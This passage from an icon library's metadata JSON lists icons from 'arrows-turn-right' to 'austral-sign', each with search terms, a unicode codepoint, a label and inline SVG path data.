9.4-24.6 9.4-33.9 0zm576 0l-63-63V472c0 13.3-10.7 24-24 24s-24-10.7-24-24V376c0-13.3 10.7-24 24-24h96c13.3 0 24 10.7 24 24s-10.7 24-24 24H561.9l63 63c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0z"
      }
    },
    "free": ["solid"]
  },
  "arrows-turn-right": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrows"]
    },
    "styles": ["solid"],
    "unicode": "e4c0",
    "label": "Arrows Turn Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M297.4 9.4c12.5-12.5 32.8-12.5 45.3 0l96 96c12.5 12.5 12.5 32.8 0 45.3l-96 96c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L338.7 160H128c-35.3 0-64 28.7-64 64v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V224C0 153.3 57.3 96 128 96H338.7L297.4 54.6c-12.5-12.5-12.5-32.8 0-45.3zm-96 256c12.5-12.5 32.8-12.5 45.3 0l96 96c12.5 12.5 12.5 32.8 0 45.3l-96 96c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L242.7 416H96c-17.7 0-32 14.3-32 32v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448c0-53 43-96 96-96H242.7l-41.4-41.4c-12.5-12.5-12.5-32.8 0-45.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M297.4 9.4c12.5-12.5 32.8-12.5 45.3 0l96 96c12.5 12.5 12.5 32.8 0 45.3l-96 96c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L338.7 160H128c-35.3 0-64 28.7-64 64v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V224C0 153.3 57.3 96 128 96H338.7L297.4 54.6c-12.5-12.5-12.5-32.8 0-45.3zm-96 256c12.5-12.5 32.8-12.5 45.3 0l96 96c12.5 12.5 12.5 32.8 0 45.3l-96 96c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L242.7 416H96c-17.7 0-32 14.3-32 32v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448c0-53 43-96 96-96H242.7l-41.4-41.4c-12.5-12.5-12.5-32.8 0-45.3z"
      }
    },
    "free": ["solid"]
  },
  "arrows-turn-to-dots": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["destination", "nexus"]
    },
    "styles": ["solid"],
    "unicode": "e4c1",
    "label": "Arrows Turn To Dots",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M249.4 25.4c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3L269.3 96 416 96c53 0 96 43 96 96v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V192c0-17.7-14.3-32-32-32l-146.7 0 25.4 25.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0l-80-80c-12.5-12.5-12.5-32.8 0-45.3l80-80zm13.3 256l80 80c12.5 12.5 12.5 32.8 0 45.3l-80 80c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L242.7 416 96 416c-17.7 0-32 14.3-32 32v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448c0-53 43-96 96-96l146.7 0-25.4-25.4c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0zM384 384a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM64 192A64 64 0 1 1 64 64a64 64 0 1 1 0 128z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M249.4 25.4c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3L269.3 96 416 96c53 0 96 43 96 96v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V192c0-17.7-14.3-32-32-32l-146.7 0 25.4 25.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0l-80-80c-12.5-12.5-12.5-32.8 0-45.3l80-80zm13.3 256l80 80c12.5 12.5 12.5 32.8 0 45.3l-80 80c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L242.7 416 96 416c-17.7 0-32 14.3-32 32v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448c0-53 43-96 96-96l146.7 0-25.4-25.4c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0zM384 384a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM64 192A64 64 0 1 1 64 64a64 64 0 1 1 0 128z"
      }
    },
    "free": ["solid"]
  },
  "arrows-up-down": {
    "aliases": {
      "names": ["arrows-v"],
      "unicodes": {
        "secondary": ["10f07d"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["expand", "portrait", "resize", "tall", "vertical"]
    },
    "styles": ["solid"],
    "unicode": "f07d",
    "label": "Arrows Up Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M182.6 9.4c-12.5-12.5-32.8-12.5-45.3 0l-96 96c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L128 109.3V402.7L86.6 361.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l96 96c12.5 12.5 32.8 12.5 45.3 0l96-96c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L192 402.7V109.3l41.4 41.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-96-96z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M182.6 9.4c-12.5-12.5-32.8-12.5-45.3 0l-96 96c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L128 109.3V402.7L86.6 361.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l96 96c12.5 12.5 32.8 12.5 45.3 0l96-96c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L192 402.7V109.3l41.4 41.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-96-96z"
      }
    },
    "free": ["solid"]
  },
  "arrows-up-down-left-right": {
    "aliases": {
      "names": ["arrows"],
      "unicodes": {
        "secondary": ["10f047"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "arrows",
        "bigger",
        "enlarge",
        "expand",
        "fullscreen",
        "move",
        "position",
        "reorder",
        "resize"
      ]
    },
    "styles": ["solid"],
    "unicode": "f047",
    "label": "Arrows Up Down Left Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M278.6 9.4c-12.5-12.5-32.8-12.5-45.3 0l-64 64c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l9.4-9.4V224H109.3l9.4-9.4c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-64 64c-12.5 12.5-12.5 32.8 0 45.3l64 64c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-9.4-9.4H224V402.7l-9.4-9.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l64 64c12.5 12.5 32.8 12.5 45.3 0l64-64c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-9.4 9.4V288H402.7l-9.4 9.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l64-64c12.5-12.5 12.5-32.8 0-45.3l-64-64c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l9.4 9.4H288V109.3l9.4 9.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M278.6 9.4c-12.5-12.5-32.8-12.5-45.3 0l-64 64c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l9.4-9.4V224H109.3l9.4-9.4c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-64 64c-12.5 12.5-12.5 32.8 0 45.3l64 64c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-9.4-9.4H224V402.7l-9.4-9.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l64 64c12.5 12.5 32.8 12.5 45.3 0l64-64c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-9.4 9.4V288H402.7l-9.4 9.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l64-64c12.5-12.5 12.5-32.8 0-45.3l-64-64c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l9.4 9.4H288V109.3l9.4 9.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-64-64z"
      }
    },
    "free": ["solid"]
  },
  "arrows-up-to-line": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["rise", "scale up"]
    },
    "styles": ["solid"],
    "unicode": "e4c2",
    "label": "Arrows Up To Line",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M32 96l512 0c17.7 0 32-14.3 32-32s-14.3-32-32-32L32 32C14.3 32 0 46.3 0 64S14.3 96 32 96zM9.4 233.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L96 237.3 96 448c0 17.7 14.3 32 32 32s32-14.3 32-32l0-210.7 41.4 41.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-96-96c-12.5-12.5-32.8-12.5-45.3 0l-96 96zm320 45.3c12.5 12.5 32.8 12.5 45.3 0L416 237.3 416 448c0 17.7 14.3 32 32 32s32-14.3 32-32l0-210.7 41.4 41.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-96-96c-12.5-12.5-32.8-12.5-45.3 0l-96 96c-12.5 12.5-12.5 32.8 0 45.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M32 96l512 0c17.7 0 32-14.3 32-32s-14.3-32-32-32L32 32C14.3 32 0 46.3 0 64S14.3 96 32 96zM9.4 233.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L96 237.3 96 448c0 17.7 14.3 32 32 32s32-14.3 32-32l0-210.7 41.4 41.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-96-96c-12.5-12.5-32.8-12.5-45.3 0l-96 96zm320 45.3c12.5 12.5 32.8 12.5 45.3 0L416 237.3 416 448c0 17.7 14.3 32 32 32s32-14.3 32-32l0-210.7 41.4 41.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-96-96c-12.5-12.5-32.8-12.5-45.3 0l-96 96c-12.5 12.5-12.5 32.8 0 45.3z"
      }
    },
    "free": ["solid"]
  },
  "artstation": {
    "changes": ["5.6.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f77a",
    "label": "Artstation",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M2 377.4l43 74.3A51.35 51.35 0 0 0 90.9 480h285.4l-59.2-102.6zM501.8 350L335.6 59.3A51.38 51.38 0 0 0 290.2 32h-88.4l257.3 447.6 40.7-70.5c1.9-3.2 21-29.7 2-59.1zM275 304.5l-115.5-200L44 304.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M2 377.4l43 74.3A51.35 51.35 0 0 0 90.9 480h285.4l-59.2-102.6zM501.8 350L335.6 59.3A51.38 51.38 0 0 0 290.2 32h-88.4l257.3 447.6 40.7-70.5c1.9-3.2 21-29.7 2-59.1zM275 304.5l-115.5-200L44 304.5z"
      }
    },
    "free": ["brands"]
  },
  "asterisk": {
    "aliases": {
      "unicodes": {
        "composite": ["2731", "f069"],
        "primary": ["f069"],
        "secondary": ["102a", "10f069"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Asterisk",
        "Heavy Asterisk",
        "annotation",
        "details",
        "reference",
        "star"
      ]
    },
    "styles": ["solid"],
    "unicode": "2a",
    "label": "Asterisk",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "asymmetrik": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f372",
    "label": "Asymmetrik, Ltd.",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M517.5 309.2c38.8-40 58.1-80 58.5-116.1.8-65.5-59.4-118.2-169.4-135C277.9 38.4 118.1 73.6 0 140.5 52 114 110.6 92.3 170.7 82.3c74.5-20.5 153-25.4 221.3-14.8C544.5 91.3 588.8 195 490.8 299.2c-10.2 10.8-22 21.1-35 30.6L304.9 103.4 114.7 388.9c-65.6-29.4-76.5-90.2-19.1-151.2 20.8-22.2 48.3-41.9 79.5-58.1 20-12.2 39.7-22.6 62-30.7-65.1 20.3-122.7 52.9-161.6 92.9-27.7 28.6-41.4 57.1-41.7 82.9-.5 35.1 23.4 65.1 68.4 83l-34.5 51.7h101.6l22-34.4c22.2 1 45.3 0 68.6-2.7l-22.8 37.1h135.5L340 406.3c18.6-5.3 36.9-11.5 54.5-18.7l45.9 71.8H542L468.6 349c18.5-12.1 35-25.5 48.9-39.8zm-187.6 80.5l-25-40.6-32.7 53.3c-23.4 3.5-46.7 5.1-69.2 4.4l101.9-159.3 78.7 123c-17.2 7.4-35.3 13.9-53.7 19.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M517.5 309.2c38.8-40 58.1-80 58.5-116.1.8-65.5-59.4-118.2-169.4-135C277.9 38.4 118.1 73.6 0 140.5 52 114 110.6 92.3 170.7 82.3c74.5-20.5 153-25.4 221.3-14.8C544.5 91.3 588.8 195 490.8 299.2c-10.2 10.8-22 21.1-35 30.6L304.9 103.4 114.7 388.9c-65.6-29.4-76.5-90.2-19.1-151.2 20.8-22.2 48.3-41.9 79.5-58.1 20-12.2 39.7-22.6 62-30.7-65.1 20.3-122.7 52.9-161.6 92.9-27.7 28.6-41.4 57.1-41.7 82.9-.5 35.1 23.4 65.1 68.4 83l-34.5 51.7h101.6l22-34.4c22.2 1 45.3 0 68.6-2.7l-22.8 37.1h135.5L340 406.3c18.6-5.3 36.9-11.5 54.5-18.7l45.9 71.8H542L468.6 349c18.5-12.1 35-25.5 48.9-39.8zm-187.6 80.5l-25-40.6-32.7 53.3c-23.4 3.5-46.7 5.1-69.2 4.4l101.9-159.3 78.7 123c-17.2 7.4-35.3 13.9-53.7 19.2z"
      }
    },
    "free": ["brands"]
  },
  "at": {
    "aliases": {
      "unicodes": {
        "composite": ["f1fa"],
        "primary": ["f1fa"],
        "secondary": ["10f1fa"]
      }
    },
    "changes": ["4.2.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Commercial At",
        "address",
        "author",
        "e-mail",
        "email",
        "fluctuate",
        "handle"
      ]
    },
    "styles": ["solid"],
    "unicode": "40",
    "label": "At",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767248,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 64C150 64 64 150 64 256s86 192 192 192c17.7 0 32 14.3 32 32s-14.3 32-32 32C114.6 512 0 397.4 0 256S114.6 0 256 0S512 114.6 512 256v32c0 53-43 96-96 96c-29.3 0-55.6-13.2-73.2-33.9C320 371.1 289.5 384 256 384c-70.7 0-128-57.3-128-128s57.3-128 128-128c27.9 0 53.7 8.9 74.7 24.1c5.7-5 13.1-8.1 21.3-8.1c17.7 0 32 14.3 32 32v80 32c0 17.7 14.3 32 32 32s32-14.3 32-32V256c0-106-86-192-192-192zm64 192a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 64C150 64 64 150 64 256s86 192 192 192c17.7 0 32 14.3 32 32s-14.3 32-32 32C114.6 512 0 397.4 0 256S114.6 0 256 0S512 114.6 512 256v32c0 53-43 96-96 96c-29.3 0-55.6-13.2-73.2-33.9C320 371.1 289.5 384 256 384c-70.7 0-128-57.3-128-128s57.3-128 128-128c27.9 0 53.7 8.9 74.7 24.1c5.7-5 13.1-8.1 21.3-8.1c17.7 0 32 14.3 32 32v80 32c0 17.7 14.3 32 32 32s32-14.3 32-32V256c0-106-86-192-192-192zm64 192a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z"
      }
    },
    "free": ["solid"]
  },
  "atlassian": {
    "changes": ["5.6.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f77b",
    "label": "Atlassian",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M152.2 236.4c-7.7-8.2-19.7-7.7-24.8 2.8L1.6 490.2c-5 10 2.4 21.7 13.4 21.7h175c5.8.1 11-3.2 13.4-8.4 37.9-77.8 15.1-196.3-51.2-267.1zM244.4 8.1c-122.3 193.4-8.5 348.6 65 495.5 2.5 5.1 7.7 8.4 13.4 8.4H497c11.2 0 18.4-11.8 13.4-21.7 0 0-234.5-470.6-240.4-482.3-5.3-10.6-18.8-10.8-25.6.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M152.2 236.4c-7.7-8.2-19.7-7.7-24.8 2.8L1.6 490.2c-5 10 2.4 21.7 13.4 21.7h175c5.8.1 11-3.2 13.4-8.4 37.9-77.8 15.1-196.3-51.2-267.1zM244.4 8.1c-122.3 193.4-8.5 348.6 65 495.5 2.5 5.1 7.7 8.4 13.4 8.4H497c11.2 0 18.4-11.8 13.4-21.7 0 0-234.5-470.6-240.4-482.3-5.3-10.6-18.8-10.8-25.6.1z"
      }
    },
    "free": ["brands"]
  },
  "atom": {
    "aliases": {
      "unicodes": {
        "composite": ["269b"],
        "secondary": ["10f5d2"]
      }
    },
    "changes": ["5.2.0", "5.12.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "atheism",
        "atheist",
        "atom",
        "atom symbol",
        "chemistry",
        "electron",
        "ion",
        "isotope",
        "neutron",
        "nuclear",
        "proton",
        "science"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5d2",
    "label": "Atom",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 398.8c-11.8 5.1-23.4 9.7-34.9 13.5c16.7 33.8 31 35.7 34.9 35.7s18.1-1.9 34.9-35.7c-11.4-3.9-23.1-8.4-34.9-13.5zM446 256c33 45.2 44.3 90.9 23.6 128c-20.2 36.3-62.5 49.3-115.2 43.2c-22 52.1-55.6 84.8-98.4 84.8s-76.4-32.7-98.4-84.8c-52.7 6.1-95-6.8-115.2-43.2C21.7 346.9 33 301.2 66 256c-33-45.2-44.3-90.9-23.6-128c20.2-36.3 62.5-49.3 115.2-43.2C179.6 32.7 213.2 0 256 0s76.4 32.7 98.4 84.8c52.7-6.1 95 6.8 115.2 43.2c20.7 37.1 9.4 82.8-23.6 128zm-65.8 67.4c-1.7 14.2-3.9 28-6.7 41.2c31.8 1.4 38.6-8.7 40.2-11.7c2.3-4.2 7-17.9-11.9-48.1c-6.8 6.3-14 12.5-21.6 18.6zm-6.7-175.9c2.8 13.1 5 26.9 6.7 41.2c7.6 6.1 14.8 12.3 21.6 18.6c18.9-30.2 14.2-44 11.9-48.1c-1.6-2.9-8.4-13-40.2-11.7zM290.9 99.7C274.1 65.9 259.9 64 256 64s-18.1 1.9-34.9 35.7c11.4 3.9 23.1 8.4 34.9 13.5c11.8-5.1 23.4-9.7 34.9-13.5zm-159 88.9c1.7-14.3 3.9-28 6.7-41.2c-31.8-1.4-38.6 8.7-40.2 11.7c-2.3 4.2-7 17.9 11.9 48.1c6.8-6.3 14-12.5 21.6-18.6zM110.2 304.8C91.4 335 96 348.7 98.3 352.9c1.6 2.9 8.4 13 40.2 11.7c-2.8-13.1-5-26.9-6.7-41.2c-7.6-6.1-14.8-12.3-21.6-18.6zM336 256a80 80 0 1 0 -160 0 80 80 0 1 0 160 0zm-80-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 398.8c-11.8 5.1-23.4 9.7-34.9 13.5c16.7 33.8 31 35.7 34.9 35.7s18.1-1.9 34.9-35.7c-11.4-3.9-23.1-8.4-34.9-13.5zM446 256c33 45.2 44.3 90.9 23.6 128c-20.2 36.3-62.5 49.3-115.2 43.2c-22 52.1-55.6 84.8-98.4 84.8s-76.4-32.7-98.4-84.8c-52.7 6.1-95-6.8-115.2-43.2C21.7 346.9 33 301.2 66 256c-33-45.2-44.3-90.9-23.6-128c20.2-36.3 62.5-49.3 115.2-43.2C179.6 32.7 213.2 0 256 0s76.4 32.7 98.4 84.8c52.7-6.1 95 6.8 115.2 43.2c20.7 37.1 9.4 82.8-23.6 128zm-65.8 67.4c-1.7 14.2-3.9 28-6.7 41.2c31.8 1.4 38.6-8.7 40.2-11.7c2.3-4.2 7-17.9-11.9-48.1c-6.8 6.3-14 12.5-21.6 18.6zm-6.7-175.9c2.8 13.1 5 26.9 6.7 41.2c7.6 6.1 14.8 12.3 21.6 18.6c18.9-30.2 14.2-44 11.9-48.1c-1.6-2.9-8.4-13-40.2-11.7zM290.9 99.7C274.1 65.9 259.9 64 256 64s-18.1 1.9-34.9 35.7c11.4 3.9 23.1 8.4 34.9 13.5c11.8-5.1 23.4-9.7 34.9-13.5zm-159 88.9c1.7-14.3 3.9-28 6.7-41.2c-31.8-1.4-38.6 8.7-40.2 11.7c-2.3 4.2-7 17.9 11.9 48.1c6.8-6.3 14-12.5 21.6-18.6zM110.2 304.8C91.4 335 96 348.7 98.3 352.9c1.6 2.9 8.4 13 40.2 11.7c-2.8-13.1-5-26.9-6.7-41.2c-7.6-6.1-14.8-12.3-21.6-18.6zM336 256a80 80 0 1 0 -160 0 80 80 0 1 0 160 0zm-80-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "audible": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f373",
    "label": "Audible",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 199.9v54l-320 200L0 254v-54l320 200 320-200.1zm-194.5 72l47.1-29.4c-37.2-55.8-100.7-92.6-172.7-92.6-72 0-135.5 36.7-172.6 92.4h.3c2.5-2.3 5.1-4.5 7.7-6.7 89.7-74.4 219.4-58.1 290.2 36.3zm-220.1 18.8c16.9-11.9 36.5-18.7 57.4-18.7 34.4 0 65.2 18.4 86.4 47.6l45.4-28.4c-20.9-29.9-55.6-49.5-94.8-49.5-38.9 0-73.4 19.4-94.4 49zM103.6 161.1c131.8-104.3 318.2-76.4 417.5 62.1l.7 1 48.8-30.4C517.1 112.1 424.8 58.1 319.9 58.1c-103.5 0-196.6 53.5-250.5 135.6 9.9-10.5 22.7-23.5 34.2-32.6zm467 32.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M640 199.9v54l-320 200L0 254v-54l320 200 320-200.1zm-194.5 72l47.1-29.4c-37.2-55.8-100.7-92.6-172.7-92.6-72 0-135.5 36.7-172.6 92.4h.3c2.5-2.3 5.1-4.5 7.7-6.7 89.7-74.4 219.4-58.1 290.2 36.3zm-220.1 18.8c16.9-11.9 36.5-18.7 57.4-18.7 34.4 0 65.2 18.4 86.4 47.6l45.4-28.4c-20.9-29.9-55.6-49.5-94.8-49.5-38.9 0-73.4 19.4-94.4 49zM103.6 161.1c131.8-104.3 318.2-76.4 417.5 62.1l.7 1 48.8-30.4C517.1 112.1 424.8 58.1 319.9 58.1c-103.5 0-196.6 53.5-250.5 135.6 9.9-10.5 22.7-23.5 34.2-32.6zm467 32.7z"
      }
    },
    "free": ["brands"]
  },
  "audio-description": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f29e"]
      }
    },
    "changes": [
      "4.6.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["blind", "narration", "video", "visual"]
    },
    "styles": ["solid"],
    "unicode": "f29e",
    "label": "Audio Description",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM213.5 173.3l72 144c5.9 11.9 1.1 26.3-10.7 32.2s-26.3 1.1-32.2-10.7l-9.4-18.9H150.9l-9.4 18.9c-5.9 11.9-20.3 16.7-32.2 10.7s-16.7-20.3-10.7-32.2l72-144c4.1-8.1 12.4-13.3 21.5-13.3s17.4 5.1 21.5 13.3zm-.4 106.6L192 237.7l-21.1 42.2h42.2zM304 184c0-13.3 10.7-24 24-24h56c53 0 96 43 96 96s-43 96-96 96H328c-13.3 0-24-10.7-24-24V184zm48 24v96h32c26.5 0 48-21.5 48-48s-21.5-48-48-48H352z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM213.5 173.3l72 144c5.9 11.9 1.1 26.3-10.7 32.2s-26.3 1.1-32.2-10.7l-9.4-18.9H150.9l-9.4 18.9c-5.9 11.9-20.3 16.7-32.2 10.7s-16.7-20.3-10.7-32.2l72-144c4.1-8.1 12.4-13.3 21.5-13.3s17.4 5.1 21.5 13.3zm-.4 106.6L192 237.7l-21.1 42.2h42.2zM304 184c0-13.3 10.7-24 24-24h56c53 0 96 43 96 96s-43 96-96 96H328c-13.3 0-24-10.7-24-24V184zm48 24v96h32c26.5 0 48-21.5 48-48s-21.5-48-48-48H352z"
      }
    },
    "free": ["solid"]
  },
  "austral-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Austral Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e0a9",
    "label": "Austral Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
